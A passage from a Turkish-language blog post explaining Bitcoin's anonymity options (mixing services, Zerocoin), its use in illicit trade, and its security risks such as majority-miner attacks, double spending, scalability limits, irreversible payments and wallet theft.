Geriye doğru takibi zorlaştırmak için, bitcoin’leri Bitcoin karıştırma (ya da çamaşırhane (laundry)) sistemleri kullanılabilir. Bitcoin karıştırma sisteminin çalışma prensibi kabaca şu şekildedir. Bitcoin’lerinizi servisin bitcoin adresine yollarsınız, aynı cüzdanda çok sayıda kişinin yolladığı bitcoinler karışır ve sonrasında daha önce kullanılmamış başka bir bitcoin adresine bitcoinlerinizi transfer edersiniz. Bu sayede geriye doğru analiz yapılacak olursa, aynı cüzdana çok farklı sayıda bitcoin adresinden transfer yapıldığı için, hangisi adresin sizinki olduğunu tespit etmek çok daha zorlaşacaktır.

Bu sistemin verimli çalışması için, Bitcoin karıştırma servisinin yoğun şekilde kullanılıyor olması lazım ki, şu anda pek yoğun şekilde kullanılan – en azından benim bildiğim – bir servis yok. Ek olarak servisin bitcoinlerinizi geri iade etmemesi riski de söz konusu.

 

Zerocoin

Bitcoin transferleri ve anonimlikten bahsetmişken Zerocoin‘den bahsetmemek olmaz. Zerocoin çok kabaca bahsetmek gerekirse, dağıtık bir karıştırma (laundry) protokolü. Muhasebe defteri (ledger) içerisinde yaşayacak bir başka para birimi gibi tasarlandı.

Henüz Bitcoin protokolüne eklenmiş bir özellik değil ve anladığım kadarıyla eklenmesi çok basit de değil. Eklenmesi için çok titiz, dikkatli bir mühendislik çalışması gerekiyor. Ayrıca potansiyel performans ve ölçeklenebilir problemleri içerdiği için şu an itibariyle çok sıcak bakılan bir şey değil.

Özetle Tor sistemi üzerinden internete çıkmak şartıyla, bilmece çözerek bitcoin elde etmek ya da gidip nakit para ile tanımadığınız birinden, nakit para karşılığı bitcoin almak dışında çok sağlam bir anonimlik yolu şu an itibariyle gözükmüyor.

 

Yasadışı Aktiviteler

Bitcoin öyle ya da böyle bir para birimi ve tıpkı nakit para gibi hem hayırlı hem de hayırsız işler için kullanılabilir.

Örneği uyuşturucudan verecek olursak, uyuşturu satın alacak birisinin, uyuşturu satıcısına bankadan havale yapması anonimlik ve geriye yönelik takip imkani vermesi adına pek akıl karı bir işlem olmadığından,  bu tip işlerde nakit paranın daha çok kullanılıyor oluşu herhalde çok tartışma götürmez bir gerçek. Bitcoin’in durumu da aynı sebepten ötürü, yasadışı faaliyetlerde kullanılmaya müsait.

Bitcoin’in masaya koyduğu şey, uyuşturucu satıcısını bulup nakit ile ödemek yerine, saniyesinde internette bir black market’te bulup ödemesini çok pratik şekilde yapabilmek ve geriye doğru takibin banka havalesini takip etmekten daha zor olması, ek olarak uyuşturucu satıcısının yakalanması durumunda, bu işten kazandığı paraya devletin kolayca el koyamaması.

Bitcoin sistemini kabaca ortaya koyduktan sonra güvenlik risklerinden bahsedebiliriz.

 

Güvenlik Riskleri

Bitcoin sistemi avantajlarını şimdiye kadar konuştuk. Bu bölümde, Bitcoin sistemini tehdit eden ve bir gün tamamen çökmesine sebep olabilecek faktörlerden bahseceğiz.

 

Sistemin Güvenliği

Bitcoin sistemi hala manifestoda ilan edilen tasarımı ile çalışmaktadır. Geride kalan 5 yıl içerisinde Bitcoin sisteminde, tasarımsal ya da yapısal bir güvenlik açığı bulunamamıştır. Yani sistemin teknolojik olarak gerçekten çok güzel tasarlandığını kabul etmek zorundayız. Bu konuda ünlü güvenlik uzmanı Dan Kaminsky’den alıntı yapmak gerekirse:

Normal code looks like it might be OK up front, but when you scratch the surface, it’s actually really bad. Bitcoin looks really bad up front, when you scratch the surface, it’s actually surprisingly good.

Bununla birlikte tasarım implemente edilirken yapılan hatalar sonucu bir çok güvenlik açığına rastlansa da (bilinen) ciddi manada exploit edilen bir güvenlik açığı olmadı. Güvenlik açıklarının tespiti durumunda ise acil şekilde yapılan bilgilendirmeler ile güvenlik saldırılarının önüne geçilmeye çalışıyor, örneğin Bitcoin alım satımı yapan siteler işlemlerini durduruyor, Bitcoin madencileri duruyor ve güvenlik açığı giderildikten sonra Bitcoin yazılımının yeni sürümüyle ve gerekirse muhasebe defterine (ledger) yanlış kütükler eklendiyse onlar düzeltilerek hayat devam ediyor.

 

İlk Madenciler ve Spekülasyon

Bitcoin ilk olarak duyurulduğunda, bilmecelerin zorluk faktörü çok düşük olduğu için çok zayıf işlem gücü ile bile çok ciddi miktarda Bitcoin üretmek mümkündü. İlk 2 milyon bitcoin’in bizzat Satoshi Nakamoto tarafından basıldığı ve bu işe ilk zamanlarında girenlerin Bitcoin cüzdanlarında çok ciddi miktarda bitcoin tutuyor olabilecekleri de dedikoduların arasında. Dedikoduları bir kenara bırakıp elimizdeki gerçeklere yönelirsek, en çok bitcoin’i tutan 500 Bitcoin adresi bütün bitcoin’lerin %35’ine sahip durumda. Farklı bitcoin adresleri de aynı kişiye ait olabileceği için, bir kişinin kontrolü altında maksimum ne kadar bitcoin olduğunu da bilemiyoruz.

Piyasaya bir anda sürülecek belki 100 bin, belki de 1 milyon kadar bitcoin, bitcoin’in değerini oldukça düşürebilir. Ama mantıken, her yıl 20 bin bitcoin’i ortalaması yüksek bir fiyattan satıp keyfinize bakmak varken, bir anda yapacağınız çok daha az paraya kazanç için tüm stoğunuzu feda etmeniz çok da mantıklı bir hareket değil. Yani manasız bir aç gözlülük (uzun zamanda 10x para yapmak yerine kısa zamanda 1.5x para yapmak gibi) dışında bunun için çok fazla bir sebep yok.

Ek olarak aynı şeyi spekülasyon ve al-sat yaparak, katılımcıları paniğe sevk ederek hükümetler ya da elinde yeterince parası olan herkes yapabilir, ama sanırım bu sadece Bitcoin için değil piyasada alım satımı yapılan hemen her şey için geçerli.

 

Çoğunluğun Dediği ya da %50 Hadisesi

Daha önce muhasebe defterinden (ledger) bahsetmiştik. Bitcoin madencileri (ya da madenci havuzu sahipleri) yeni bir bilmece çözdüklerinde muhasebe defterine (ledger) yeni bir kütük (block) ekleyebilirler ve bu kütükte kendilerine ulaşan yeni işlemleri, para transferlerini dahil edebilirler. Ama bu tamamen kendi isteklerine bağlı bir konu ve eğer istemezlerse, muhasebe defterine bir para transfer işlemini eklemeyebilir ve reddedebilirler.

Dolayısıyla bir güç, bitcoin madencilerinin %50’sinden fazlasını kontrol ediyorsa ekonomiyi yönetme (para transfer işlemini reddetme) gücüne sahip olacaktır. Şu anki madenci havuzlarının dağılımına bakmak gerekirse, zaten hali hazırda BTC Guild ve GHash.IO isimli havuzların, madencilerin %50’sinden fazlasını kontrol ettiğini görüyoruz.

Görüldüğü üzere, para sistemini dağıtıklaştırmaya çalışan bir sistem, yine tasarımı gereği başka merkezi otoriteler oluşmasına sebep olabilir. Uzun vadede para transferi işlemi sayısının çok daha fazla artmasıyla birlikte nasıl daha da tekelleşebilecek bir yapısı olacağını Ölçeklenebilirlik başlığında inceleyeceğiz.

Yalnız dikkat çekilmesi gereken konu sanırım şu, bir güç ağ üzerindeki madencilerin %50’sinden fazlasını kontrol etse dahi başkalarının gizli anahtarlarını bilmediğinden, başkalarının cüzdanlarından para çalamaz, sadece belli bitcoin adreslerinin yapmaya çalıştıkları transferleri engelleyebilir ki bu da ağın %50’sini yönetmek için harcadığınız masrafa, başka bir motivasyonunuz yoksa, pek değmez gibi.

Bu çoğunluğu kontrol eden güç, teorik olarak aynı Bitcoin parasını geri alıp, tekrar(double spend) harcamaya çalışabilir. Ama bu konu detaylı incelenirse bunun pratikte gerçekleşme şansının pek de olmadığı görülebilir. Sebeplere kısaca değinmek gerekirse:

  • Her şeyden önce bunu yapacak kadar işlem gücü olduktan sonra, o işlem gücünü Bitcoin basmaya harcamak daha mantıklı. İşlem gücünün %50’sine sahipseniz, saatte üretilen ortalama 6 kaydın (blok) 3 tanesini siz yakalayacaksınız demektir. Bu da saatte şu anki kurdan 75 * 1000 = 75000 dolar demek. Dolayısıyla bu kadar büyük bir işlem gücünü yöneten erkin böyle bir niyeti olması için, yasal yollarla kazanabileceği paranın daha fazlasını çalabilmesi gerekir ki, böyle bir işe kalkışşın.

  • Harcanan bitcoinleri geri alabilmek için işlem gücüne bağlı olarak, genelde çok fazla süresi olmaz (genelde 1 günden daha az süresi olacak). Bu da sorunun hızlıca anlaşılması ve harekete geçilmesi adına avantaj.

  • Bu hilenin yapıldığı anlaşılınca, Bitcoin’lerini haksız şekilde geri alan güç ciddi anlamda reputasyon kaybına uğrar ve muhtemelen başka kimse aynı şahıstan Bitcoin satın almak istemez, cüzdan mimlenir vs.

  • Eğer bitcoin’lerin karşılığında yapılan ödeme nakit olarak yapılmadıysa -ki miktarın fazla olduğunu düşünürsek pek de pratik olmayacaktır- kayba uğrayan taraf ödemenin iptali için işlemin yapıldığı bankaya başvurabilir, hukuki süre başlatabilir vs.

  • Yüklü miktarda bitcoin satın alacak kişi, muhtemelen bu risklerin farkında olup, güvendiği yerden, ek önlemlerle birlikte satın alma işlemini gerçekleştirir.

 

Teknik Limitler

Bitcoin sisteminin en tartışmalı taraflarından birisi de ölçeklenebilirlik konusu. Bitcoin sistemi şu anda diğer tekel sistemler kadar yoğun olmadığından işlemlerde bir sorun yaşanmıyor. Bu yazının yazıldığı tarih için istatistikleri kontrol edersek, son 24 saatte 62.742 transfer gerçekleşmiş ve saniye başına düşen işlem sayısı da 0.8 tane. Şu an itibariyle Bitcoin sisteminin sağladığı maksimum hız, saniyede 7 işlem.

Diğer sistemlerden örnek vermek gerekirse, VISA’da saniyede ortalama 2000 tane işlem gerçekleşiyor.

Bitcoin VISA gibi bir sisteme doğrudan alternatif olabilir mi, ya da onun kadar yoğun şeklide kullanılır mı bunları bilmiyoruz. Lakin o hızlarda işlem yapabilmek için Bitcoin protokolünün çeşitli iyileştirmelere ihtiyaç duyduğu açık ve bu konuda muhtemelen ileride implemente edilebilecek bir çok şey hali hazırda konuşuluyor.

Eğer ölçenelebilirlik sorunları giderilmez ise, bitcoin işlemlerini gerçekleştirebilmek için süper bilgisayarlar ve çok büyük hard disk dizileri kullanılmak zorunda kalacak ve günün sonunda bu süper bilgisayarları kontrol eden güçler, %50 kuralından ötürü, sistemde birer otorite halini alacaklar.

Bunun dışında diğer bir sorun da Bitcoin protokolünde kullanan kripto teknolojilerinde (kriptografik özet için SHA-256 ve dijital imzalar için Eliptik Egri Dijital İmza Algoritması) güvenlik zafiyetleri tespit edilmesi ile oluşabilir. Ama böyle bir şey söz konusu olursa, Bitcoin yazılımı daha güvenli teknolojiler kullanılmak üzere güncelleştirilir ve çoğunluğu tutan Bitcoin madenci havuzları bu yazılımları kullanmaya başladığı anda (ki genelde minimum sürede geçiş yapılacaktır) sorun ortadan kalkar. 5

Bu teknik limitasyonlar iyileştirildikten sonra, yeni yazılıma geçiş sürecinde kimi aksaklıklar ve maddi hasar oluşabilir, ama daha önce yazılımdaki programatik bir hatadan ötürü birden fazla muhasebe defteri (ledger) oluştu ve hızlı bir güncelleme ile bu sorun bile çok büyük bela olmadan atladıldığına göre, bu gibi şeyler, geniş zamanda doğru planlama ile minimum hasarla geçiştirililebilir, çok büyük yanlışlar yapılmazsa.

 

Geri Dönüşün Olmaması

Kredi kartınız ile açık arttırma sitesinden 2. el bir bilgisayar aldınız, ama ilanda bahsedildiği gibi değil ve iade etmek istiyorsunuz. Karşı taraf iadeyi kabul etmese bile açık arttırma sitesine ya da bankaya başvurup ödemenizi geri alabilirsiniz. Aynı durum kredi kartınızın çalınması için de geçerli, yapmadığınız harcama için çok geç kalmadan başvuru yaparsanız, ödemeyi yaptığınız gibi geri alabilirsiniz.

Bitcoin sisteminde parayı kontrol etme gücüne kimse sahip olmadığı için, paranıza bir şey olursa başvurabileceğiniz bir mercii ya da yapılabilecek herhangi bir şey de yok. Yani Bitcoin ile birisinden bir şey satın alırken dolandırılma ihtimaliniz çok yüksek, zira siz ödemeyi yaptıktan sonra karşı taraftan o parayı geri alma ihtimaliniz ya da şikayet edebileceğiniz bir yer yok. En iyi ihtimalle gidip dava edebilirsiniz ki bu da bir çok sebepten ötürü hem pratik değil hem de sonuç vermesi oldukça zor.

Ek olarak gizli anahtarınızı kaybederseniz, çaldırırsanız 6, Bitcoin cüzdanınızı tuttuğunuz servis saldırganlar tarafından ele geçirilirse tüm paranız gitti demektir. Bundan ötürü Bitcon cüzdanı servisleri saldırganlar için oldukça çekici hedef ve hemen her hafta milyonlarca dolar değerinde Bitcoin çalındığını duyuyoruz. Bitcoin devlet nezdinde para olarak tanınmadığı için, Bitcoin servisleri veren websiteleri herhangi bir şekilde sorumlu tutulamazlar ve denetime tabi değiller. Bankacılık alanında bile 10 yil öncesine kadar ülkemizde ne gibi skandallar olduğunu hatırlayanlar, konu Bitcoin’e gelince, para ile uğraşan denetimsiz bir ekonomide ne gibi kirlenmeler olacağını tahmin edebilir.

Tabii ki cebinizdeki kağıttan para da, hatta bankadaki paranız da (hortum), vatandaşı olduğunuz devletin bütçesinden para da çalınabilir (ve vergi olarak size yansıdığı için sizin paranız çalınmış demektir). Ama genelde bu boyutta paramızın çalınmasına alışık olduğumuzdan mıdır nedir, bitcoin’lerimizin çalınması kadar ürkütücü gelmiyor.

 

Son

Soru, öneri ya da görüşlerinizi yorum olarak yazabilirsiniz. 



Notes:

  1. Görülen o ki BDDK’ya göre değil.
  2. GPU’lar genellikle megahash/sn ile ifade edilirken, bir kaç bin dolarlık ASIC’ler ile terahash/sn hızlarını görebiliyorsunuz.
  3. Kabaca bu şekilde, yoksa bankacılık teknolojisinin geldiği nokta itibariyle faiz, kredi, yatırım vs. bir çok işlevi mevcut. 
  4. Transferin tamamlanması için, genelde ürün/hizmet sağlayıcıları 3 adet doğrulama beklerler, 1 saatin altındaki bir sürede bu da tamamlanır.
  5. Tabii ki arada büyük miktarda vurgunlar gerçekleşebilir. 
  6. Reddit’te hemen her gün yüklü miktarda Bitcoin’lerini çaldıran ya da kaybeden insanların haberlerini alıyoruz. Örneklerin sıralandığı bir Reddit başlığı.
Follow

Get every new post delivered to your Inbox

Join other followers